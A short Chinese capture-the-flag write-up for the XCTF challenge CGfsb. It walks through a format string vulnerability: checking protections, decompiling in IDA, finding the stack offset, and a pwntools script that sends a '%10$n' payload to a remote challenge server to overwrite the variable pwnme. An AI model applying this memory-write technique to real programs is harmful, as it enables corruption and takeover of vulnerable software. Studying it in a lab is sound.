0%

格式化字符串部分例题步骤

攻防世界CGfsb

下载附件在vm中打开,checksec指令获得其设置的保护措施

由pwntools可知此开启了Canary,但未有pie操作禁止

拖入ida32位打开后F5反编译得

分析可得可利用跳转操作使pwnme值=8

利用%n的属性进行pwnme的赋值

可尝试交互判断其偏移位置

A的ASCII值为41,由此可判断输入并存储的数据AAAA应在栈中偏移值为10的地址

可得代码如下

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote("61.147.171.105", 49339);
p.recvuntil("please tell me your name")
p.sendline('aa')
p.recvuntil("leave your message please")
payload =p32(0x0804A068)+b"aaaa%10$n";#b统一形式转字符
p.sendline(payload);

p.interactive();

vm运行即得flag。


  1. **p32(0x0804a068)是pwnme的地址;**(ida中双击pwnme即得)
  2. **”aaaa%10$n”:**这里四个a的作用是填充字符数,因为p32函数将pwnme地址转化成四个字节的小端序字符,我们希望写入pwnme的数字是8,因此再填充4个任意字符这样下来%之前共有八个字符了。
  3. 举个其他的例子🌰: %85c%7$n——将85写入栈内第7个参数所指向的地址。
  4. $ 是偏移符号:前面贴着偏移量,而后紧跟n。
  5. %n :打印到目前为止所写的字符数
  6. 总的来说payload代表意为将第二段%之前输入的字符数载入到栈中偏移十位的变量中(导入了地址所以转移到了pwnme中)。